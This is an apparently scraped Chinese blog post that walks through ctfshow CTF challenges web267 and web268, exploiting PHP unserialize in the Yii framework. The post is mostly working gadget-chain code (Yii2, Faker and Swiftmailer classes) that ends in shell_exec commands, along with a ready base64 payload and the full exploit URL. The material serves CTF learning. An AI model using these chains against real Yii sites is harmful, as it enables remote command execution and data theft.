首页 > 编程语言 >PHP反序列化题型_YII框架漏洞利用

PHP反序列化题型_YII框架漏洞利用

时间:2023-11-12 16:32:33浏览次数:36  
标签:__ use PHP Generator yii YII namespace new 序列化

ctfshow web267

通过页面加载yii.js判断使用yii框架。

用弱口令admin/admin可登录

在about页面发现提示view-source

访问提示页面

?r=site%2Fabout&view-source

页面提示

///backdoor/shell

unserialize(base64_decode($_GET['code']))

因此构造payload必须先base64_encode再serialize

payload获得

<?php
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'cat /flag | tee 3.txt';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

?>


payload为:

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoyMToiY2F0IC9mbGFnIHwgdGVlIDMudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19


执行payload:

http://3f3f9ac5-03f1-4e54-88e7-c00f0a7834be.challenge.ctf.show/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoyMToiY2F0IC9mbGFnIHwgdGVlIDMudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19

发现页面报错:

An internal server error occurred.

不用管他

访问:http://3f3f9ac5-03f1-4e54-88e7-c00f0a7834be.challenge.ctf.show/3.txt获得flag。


web268题 payload获取:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'copy /flags /3.txt';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

标签:__,use,PHP,Generator,yii,YII,namespace,new,序列化
From: https://blog.51cto.com/u_16350624/8330043

相关文章

  • 使用 AJAX、PHP 和服务器发送事件从 OpenAI 的 API 流式传输数据
    如何使用服务器发送事件(SSE)将数据从上述API流式传输到使用JavaScript和PHP的浏览器客户端?我已经研究这个问题好几个小时了,但我似乎无法弄清楚出了什么问题。作为参考,我尝试在这里调整解决方案:StreamDATAFromopenaiGPT-3APIusingPHP我的代码的其余部分或多或少与上......
  • ThinkPHP5漏洞分析之SQL注入1
    漏洞概要本次漏洞存在于Builder类的parseData方法中。由于程序没有对数据进行很好的过滤,将数据拼接进SQL语句,导致SQL注入漏洞的产生。漏洞影响版本:5.0.13<=ThinkPHP<=5.0.15、5.1.0<=ThinkPHP<=5.1.5。漏洞环境通过以下命令获取测试环境代码:composercreate-proje......
  • ThinkPHP5漏洞分析之SQL注入2
    漏洞概要本次漏洞存在于Mysql类的parseArrayData方法中由于程序没有对数据进行很好的过滤,将数据拼接进SQL语句,导致SQL注入漏洞的产生。漏洞影响版本:5.1.6<=ThinkPHP<=5.1.7(非最新的5.1.8版本也可利用)。漏洞环境通过以下命令获取测试环境代码:composercreate-pro......
  • ThinkPHP5漏洞分析之SQL注入3
    漏洞概要本次漏洞存在于Mysql类的parseWhereItem方法中。由于程序没有对数据进行很好的过滤,将数据拼接进SQL语句,导致SQL注入漏洞的产生。漏洞影响版本:ThinkPHP5全版本。漏洞环境通过以下命令获取测试环境代码:composercreate-project--prefer-disttopthink/think=......
  • ThinkPHP5漏洞分析之SQL注入4
    漏洞概要本次漏洞存在于Mysql类的parseWhereItem方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进SQL语句。再一个,Request类的filterValue方法漏过滤NOTLIKE关键字,最终导致SQL注入漏洞的产生。漏洞影响版本:ThinkPHP=5.0.10。漏洞环境通过以下命令获......
  • ThinkPHP5漏洞分析之SQL注入5
    漏洞概要本次漏洞存在于Builder类的parseOrder方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进SQL语句,最终导致SQL注入漏洞的产生。漏洞影响版本:5.1.16<=ThinkPHP5<=5.1.22。漏洞环境通过以下命令获取测试环境代码:composercreate-project--prefer-dist......
  • ThinkPHP5漏洞分析之SQL注入6
    漏洞概要本次漏洞存在于所有Mysql聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进SQL语句,最终导致SQL注入漏洞的产生。漏洞影响版本:5.0.0<=ThinkPHP<=5.0.21、5.1.3<=ThinkPHP5<=5.1.25。不同版本payload需稍作调整:5.0.0~5.0.21、5.1.3~5.1.......
  • phpstorm的xdebug配置
    php内置web服务器1.新建一个php内置web服务器的配置。 2.浏览器安装xdebug的插件Ideakey这里选择对应的,然后打开debug 我们可以看到请求的时候带了XDEBUG_SESSION的cookie到服务器,这时候我们的debug基本就是可以工作的。 如果还不行的话,可以尝试打开这个。php远......
  • vscode 如何调试 php 应用?
    使用的是WNMP的集成环境,服务启用后,如何用vscode对php代码进行断点调试?之前是使用PHPStorm进行断点调试的,想知道vscode能否实现类似的断点调试功能,。要在VSCode中调试PHP应用程序,你可以按照以下步骤进行设置和调试:安装PHP扩展:在VSCode的扩展市场中,搜索并安装PHP扩展......
  • PHP 中的相等性比较运算符(== 双等号)和恒等性比较运算符(=== 三等号)有什么区别?
    内容来自DOC[https://q.houxu6.top/?s=PHP中的相等性比较运算符(==双等号)和恒等性比较运算符(===三等号)有什么区别?](https://q.houxu6.top/?s=PHP中的相等性比较运算符(%3D%3D双等号)和恒等性比较运算符(%3D%3D%3D三等号)有什么区别?)==和===之间有什么区别?宽松的==......